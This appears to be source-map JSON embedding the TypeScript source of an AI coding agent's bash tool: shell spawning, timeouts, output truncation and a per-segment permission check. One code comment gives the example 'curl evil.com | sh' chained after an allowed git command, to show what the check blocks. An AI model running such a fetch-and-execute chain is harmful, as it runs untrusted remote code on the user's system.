{\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttype ShellConfig,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport { setApexEnvironment } from \"../environment.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport type { ExtensionContext, ToolRenderResultOptions } from \"../extensions/types.ts\";\nimport { classifyBashCommand } from \"./bash-command-segments.ts\";\nimport type { ApexToolDefinition, PermissionSpec } from \"./contract.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { getTextOutput, invalidArgText, str } from \"./render-utils.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\nfunction resolveTimeoutMs(timeout: number | undefined): number | undefined {\n\tif (timeout === undefined) return undefined;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchema = Type.Object({\n\tcommand: Type.String({ description: \"Shell command to execute\" }),\n\ttimeout: Type.Optional(Type.Number({ description: \"Timeout in seconds (optional, no default timeout)\" })),\n});\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nfunction normalizeSegment(text: string): string {\n\treturn text.trim().replace(/\\s+/g, \" \");\n}\n\n/**\n * A rule matches a segment either by exact text, or — when it ends with the `:*`\n * suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the\n * prefix or start with the prefix followed by a space. `git commit:*` therefore\n * matches `git commit` and `git commit -m x`, but not `git commitment` (word\n * boundary enforced) and not an unrelated segment in the same chained command.\n */\nfunction segmentMatchesRule(segment: string, ruleContent: string): boolean {\n\tconst normalizedSegment = normalizeSegment(segment);\n\tconst normalizedRule = normalizeSegment(ruleContent);\n\tif (normalizedRule.endsWith(\":*\")) {\n\t\tconst prefix = normalizedRule.slice(0, -2).trim();\n\t\tif (!prefix) return false;\n\t\treturn normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);\n\t}\n\treturn normalizedSegment === normalizedRule;\n}\n\n/**\n * bash's permission grammar (ADR 0004). A rule authorizes a call only if the\n * command decomposes cleanly into segments (never on \"unparseable\") and **every**\n * segment matches — a narrow rule like `git commit:*` can never authorize\n * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are\n * separate segments that do not match it.\n *\n * `ruleForCall` only generalizes a single-segment command: a multi-segment chain\n * has no single non-trivial rule that captures exactly what it did, and returning\n * one would either over-authorize (if loose) or be indistinguishable from an exact\n * match (if not) — `null` correctly forces `ask` for \"always allow this\" on a chain.\n */\nexport function createBashPermissionSpec(): PermissionSpec<typeof bashSchema> {\n\treturn {\n\t\tdefaultBehavior: \"ask\",\n\t\tmatches(ruleContent, params) {\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\tif (classification.type !== \"segments\") return false;\n\t\t\treturn classification.segments.every((segment) => segmentMatchesRule(segment, ruleContent));\n\t\t},\n\t\tdescribe(ruleContent) {\n\t\t\treturn `Run bash commands matching \"${ruleContent}\"`;\n\t\t},\n\t\truleForCall(params) {\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\tif (classification.type !== \"segments\" || classification.segments.length !== 1) return null;\n\t\t\treturn normalizeSegment(classification.segments[0]);\n\t\t},\n\t};\n}\n\nexport interface BashExecutionFacts {\n\tcwd: string;\n\texecutable?: string;\n\targv?: string[];\n\texitCode: number | null;\n}\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n\t/** Facts observed at the source execution boundary; never rendered as output. */\n\texecution?: BashExecutionFacts;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to exit code (null if killed)\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null; executable?: string; argv?: string[] }>;\n}\n\n/** Shared process execution used by the built-in shell tools. */\nexport function createLocalShellOperations(shellName: string, resolveShellConfig: () => ShellConfig): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\t// Set timeout if provided.\n\t\t\t\tif (timeoutMs !== undefined) {\n\t\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\t\ttimedOut = true;\n\t\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t\t}, timeoutMs);\n\t\t\t\t}\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeout}`);\n\t\t\t\t}\n\t\t\t\treturn {\n\t\t\t\t\texitCode,\n\t\t\t\t\texecutable: shellConfig.shell,\n\t\t\t\t\targv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],\n\t\t\t\t};\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t};\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn createLocalShellOperations(\"bash\", () => getShellConfig(options?.shellPath));\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_SESSION_FILE\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_MODEL\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", undefined, env);\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", ctx.sessionManager.getSessionId(), env);\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) setApexEnvironment(\"APEX_CODE_SESSION_FILE\", sessionFile, env);\n\t\tif (model) {\n\t\t\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", model.provider, env);\n\t\t\tsetApexEnvironment(\"APEX_CODE_MODEL\", model.id, env);\n\t\t}\n\t\tif (ctx.thinkingLevel) setApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", ctx.thinkingLevel, env);\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n}\n\nconst BASH_PREVIEW_LINES = 5;\nconst BASH_UPDATE_THROTTLE_MS = 100;\n\nexport type BashRenderState = {\n\tstartedAt: number | undefined;\n\tendedAt: number | undefined;\n\tinterval: NodeJS.Timeout | undefined;\n};\n\ntype BashResultRenderState = {\n\tcachedWidth: number | undefined;\n\tcachedLines: string[] | undefined;\n\tcachedSkipped: number | undefined;\n};\n\nclass BashResultRenderComponent extends Container {\n\tstate: BashResultRenderState = {\n\t\tcachedWidth: undefined,\n\t\tcachedLines: undefined,\n\t\tcachedSkipped: undefined,\n\t};\n}\n\nfunction formatDuration(ms: number): string {\n\treturn `${(ms / 1000).toFixed(1)}s`;\n}\n\nfunction formatShellCall(args: { command?: string; timeout?: number } | undefined, prompt: string): string {\n\tconst command = str(args?.command);\n\tconst timeout = args?.timeout as number | undefined;\n\tconst timeoutSuffix = timeout ? theme.fg(\"muted\", ` (timeout ${timeout}s)`) : \"\";\n\tconst commandDisplay = command === null ? invalidArgText(theme) : command ? command : theme.fg(\"toolOutput\", \"...\");\n\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${commandDisplay}`)) + timeoutSuffix;\n}\n\nfunction rebuildBashResultRenderComponent(\n\tcomponent: BashResultRenderComponent,\n\tresult: {\n\t\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\t\tdetails?: BashToolDetails;\n\t},\n\toptions: ToolRenderResultOptions,\n\tshowImages: boolean,\n\tstartedAt: number | undefined,\n\tendedAt: number | undefined,\n): void {\n\tconst state = component.state;\n\tcomponent.clear();\n\n\tlet output = getTextOutput(result as any, showImages).trim();\n\tconst truncation = result.details?.truncation;\n\tconst fullOutputPath = result.details?.fullOutputPath;\n\tif (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith(\"]\")) {\n\t\tconst footerStart = output.lastIndexOf(\"\\n\\n[\");\n\t\tif (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {\n\t\t\toutput = output.slice(0, footerStart).trimEnd();\n\t\t}\n\t}\n\n\tif (output) {\n\t\tconst styledOutput = output\n\t\t\t.split(\"\\n\")\n\t\t\t.map((line) => theme.fg(\"toolOutput\", line))\n\t\t\t.join(\"\\n\");\n\n\t\tif (options.expanded) {\n\t\t\tcomponent.addChild(new Text(`\\n${styledOutput}`, 0, 0));\n\t\t} else {\n\t\t\tcomponent.addChild({\n\t\t\t\trender: (width: number) => {\n\t\t\t\t\tif (state.cachedLines === undefined || state.cachedWidth !== width) {\n\t\t\t\t\t\tconst preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);\n\t\t\t\t\t\tstate.cachedLines = preview.visualLines;\n\t\t\t\t\t\tstate.cachedSkipped = preview.skippedCount;\n\t\t\t\t\t\tstate.cachedWidth = width;\n\t\t\t\t\t}\n\t\t\t\t\tif (state.cachedSkipped && state.cachedSkipped > 0) {\n\t\t\t\t\t\tconst hint =\n\t\t\t\t\t\t\ttheme.fg(\"muted\", `... (${state.cachedSkipped} earlier lines,`) +\n\t\t\t\t\t\t\t` ${keyHint(\"app.tools.expand\", \"to expand\")}${theme.fg(\"muted\", \")\")}`;\n\t\t\t\t\t\treturn [\"\", truncateToWidth(hint, width, \"...\"), ...(state.cachedLines ?? [])];\n\t\t\t\t\t}\n\t\t\t\t\treturn [\"\", ...(state.cachedLines ?? [])];\n\t\t\t\t},\n\t\t\t\tinvalidate: () => {\n\t\t\t\t\tstate.cachedWidth = undefined;\n\t\t\t\t\tstate.cachedLines = undefined;\n\t\t\t\t\tstate.cachedSkipped = undefined;\n\t\t\t\t},\n\t\t\t});\n\t\t}\n\t}\n\n\tif (truncation?.truncated || fullOutputPath) {\n\t\tconst warnings: string[] = [];\n\t\tif (fullOutputPath) {\n\t\t\twarnings.push(`Full output: ${fullOutputPath}`);\n\t\t}\n\t\tif (truncation?.truncated) {\n\t\t\tif (truncation.truncatedBy === \"lines\") {\n\t\t\t\twarnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);\n\t\t\t} else {\n\t\t\t\twarnings.push(\n\t\t\t\t\t`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"warning\", `[${warnings.join(\". \")}]`)}`, 0, 0));\n\t}\n\n\tif (startedAt !== undefined) {\n\t\tconst label = options.isPartial ? \"Elapsed\" : \"Took\";\n\t\tconst endTime = endedAt ?? Date.now();\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"muted\", `${label} ${formatDuration(endTime - startedAt)}`)}`, 0, 0));\n\t}\n}\n\nexport interface ShellToolConfig {\n\tname: string;\n\tlabel: string;\n\tshellName: string;\n\tprompt: string;\n\tpromptSnippet: string;\n\tpromptGuidelines?: readonly string[];\n\ttempFilePrefix: string;\n}\n\nexport function createShellToolDefinition(\n\tcwd: string,\n\tconfig: ShellToolConfig,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\treturn {\n\t\tname: config.name,\n\t\tlabel: config.label,\n\t\tdescription: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`,\n\t\tpromptSnippet: config.promptSnippet,\n\t\tpromptGuidelines: exposeSessionEnvironment && config.promptGuidelines ? [...config.promptGuidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"exec\"]),\n\t\t\tpermission: createBashPermissionSpec(),\n\t\t\tcontext: { resultRecoverable: false, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set([\"command\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst execution = result.details?.execution;\n\t\t\t\t\treturn execution\n\t\t\t\t\t\t? [{ kind: \"command\", command: params.command, ...execution }]\n\t\t\t\t\t\t: [{ kind: \"command\", command: params.command }];\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: getExperimentalToolSampling(),\n\t\tasync execute(\n\t\t\t_toolCallId,\n\t\t\t{ command, timeout }: { command: string; timeout?: number },\n\t\t\tsignal?: AbortSignal,\n\t\t\tonUpdate?,\n\t\t\tctx?,\n\t\t) {\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ type: \"text\", text: snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details };\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\tlet execution: BashExecutionFacts;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\ttimeout,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t\texecution = {\n\t\t\t\t\t\tcwd: spawnContext.cwd,\n\t\t\t\t\t\texecutable: result.executable,\n\t\t\t\t\t\targv: result.argv,\n\t\t\t\t\t\texitCode,\n\t\t\t\t\t};\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tconst interruptedExecution: BashExecutionFacts = { cwd: spawnContext.cwd, exitCode: null };\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, \"Command aborted\"), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tconst resultDetails: BashToolDetails = { ...details, execution };\n\t\t\t\tif (exitCode !== 0 && exitCode !== null) {\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details: resultDetails };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\trenderCall(args, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (context.executionStarted && state.startedAt === undefined) {\n\t\t\t\tstate.startedAt = Date.now();\n\t\t\t\tstate.endedAt = undefined;\n\t\t\t}\n\t\t\tconst text = (context.lastComponent as Text | undefined) ?? new Text(\"\", 0, 0);\n\t\t\ttext.setText(formatShellCall(args, config.prompt));\n\t\t\treturn text;\n\t\t},\n\t\trenderResult(result, options, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (state.startedAt !== undefined && options.isPartial && !state.interval) {\n\t\t\t\tstate.interval = setInterval(() => context.invalidate(), 1000);\n\t\t\t}\n\t\t\tif (!options.isPartial || context.isError) {\n\t\t\t\tstate.endedAt ??= Date.now();\n\t\t\t\tif (state.interval) {\n\t\t\t\t\tclearInterval(state.interval);\n\t\t\t\t\tstate.interval = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst component =\n\t\t\t\t(context.lastComponent as BashResultRenderComponent | undefined) ?? new BashResultRenderComponent();\n\t\t\trebuildBashResultRenderComponent(\n\t\t\t\tcomponent,\n\t\t\t\tresult as any,\n\t\t\t\toptions,\n\t\t\t\tcontext.showImages,\n\t\t\t\tstate.startedAt,\n\t\t\t\tstate.endedAt,\n\t\t\t);\n\t\t\tcomponent.invalidate();\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nconst bashToolConfig: ShellToolConfig = {\n\tname: \"bash\",\n\tlabel: \"bash\",\n\tshellName: \"bash\",\n\tprompt: \"$\",\n\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\tpromptGuidelines: bashToolSystemPromptContribution.guidelines,\n\ttempFilePrefix: \"apex-code-bash\",\n};\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\treturn createShellToolDefinition(cwd, bashToolConfig, options);\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n"]}
1
+ {"version":3,"file":"bash.d.ts","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,KAAK,SAAS,EAA4C,MAAM,sBAAsB,CAAC;AAEhG,OAAO,EAAE,KAAK,MAAM,EAAE,IAAI,EAAE,MAAM,SAAS,CAAC;AAK5C,OAAO,EAIN,KAAK,WAAW,EAGhB,MAAM,sBAAsB,CAAC;AAU9B,OAAO,EAAE,KAAK,uBAAuB,EAAiC,MAAM,uBAAuB,CAAC;AAEpG,OAAO,EAAE,KAAK,kBAAkB,EAAE,KAAK,cAAc,EAAa,MAAM,eAAe,CAAC;AAIxF,OAAO,EAAoD,KAAK,gBAAgB,EAAE,MAAM,eAAe,CAAC;AAkCxG,QAAA,MAAM,UAAU;;;;;;;;;IAWf,CAAC;AAEF,eAAO,MAAM,gCAAgC;;;CAGnC,CAAC;AAEX,MAAM,MAAM,aAAa,GAAG,MAAM,CAAC,OAAO,UAAU,CAAC,CAAC;AAkDtD,wBAAgB,wBAAwB,IAAI,cAAc,CAAC,OAAO,UAAU,CAAC,CAkD5E;AAED,MAAM,WAAW,kBAAkB;IAClC,GAAG,EAAE,MAAM,CAAC;IACZ,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,IAAI,CAAC,EAAE,MAAM,EAAE,CAAC;IAChB,QAAQ,EAAE,MAAM,GAAG,IAAI,CAAC;CACxB;AAED,MAAM,WAAW,eAAe;IAC/B,UAAU,CAAC,EAAE,gBAAgB,CAAC;IAC9B,cAAc,CAAC,EAAE,MAAM,CAAC;IACxB,iFAAiF;IACjF,SAAS,CAAC,EAAE,kBAAkB,CAAC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wBAAgB,cAAc,CAAC,GAAG,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,eAAe,GAAG,SAAS,CAAC,OAAO,UAAU,CAAC,CAQnG","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { Container, Text, truncateToWidth } from \"@earendil-works/pi-tui\";\nimport { type AgentTool, type AgentToolResult, ToolExecutionError } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { keyHint } from \"../../modes/interactive/components/keybinding-hints.ts\";\nimport { truncateToVisualLines } from \"../../modes/interactive/components/visual-truncate.ts\";\nimport { theme } from \"../../modes/interactive/theme/theme.ts\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport {\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttype ShellConfig,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport { setApexEnvironment } from \"../environment.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport type { ExtensionContext, ToolRenderResultOptions } from \"../extensions/types.ts\";\nimport {\n\tescalationRootFor,\n\textractRefusedPath,\n\tlooksLikeSandboxRefusal,\n\trequestCommandEscalation,\n} from \"../sandbox/rpc/command-client.ts\";\nimport { type BackgroundShellRegistry, createBackgroundShellRegistry } from \"./background-shell.ts\";\nimport { classifyBashCommand } from \"./bash-command-segments.ts\";\nimport { type ApexToolDefinition, type PermissionSpec, toolUnion } from \"./contract.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { getTextOutput, invalidArgText, str } from \"./render-utils.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\nfunction resolveTimeoutMs(timeout: number | 